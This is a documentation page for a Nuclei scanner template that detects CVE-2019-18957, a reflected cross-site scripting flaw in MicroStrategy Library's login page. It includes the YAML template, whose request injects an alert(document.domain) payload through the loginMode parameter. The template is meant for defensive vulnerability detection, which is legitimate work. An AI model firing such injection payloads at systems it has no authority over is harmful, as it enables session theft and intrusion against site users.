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MicroStrategy Library <11.1.3 - Cross-Site Scripting

ID: CVE-2019-18957

Severity: medium

Author: tess

Tags: cve,cve2019,microstrategy,packetstorm,xss,seclists

Description

Section titled “Description”

MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2019-18957


info:
  name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
  reference:
    - https://seclists.org/bugtraq/2019/Nov/23
    - https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18957
    - http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
    - http://seclists.org/fulldisclosure/2019/Nov/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-18957
    cwe-id: CWE-79
    epss-score: 0.00375
    epss-percentile: 0.72231
    cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_library
  tags: cve,cve2019,microstrategy,packetstorm,xss,seclists


http:
  - method: GET
    path:
      - "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "previousLoginMode: alert(document.domain),"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-18957.yaml"

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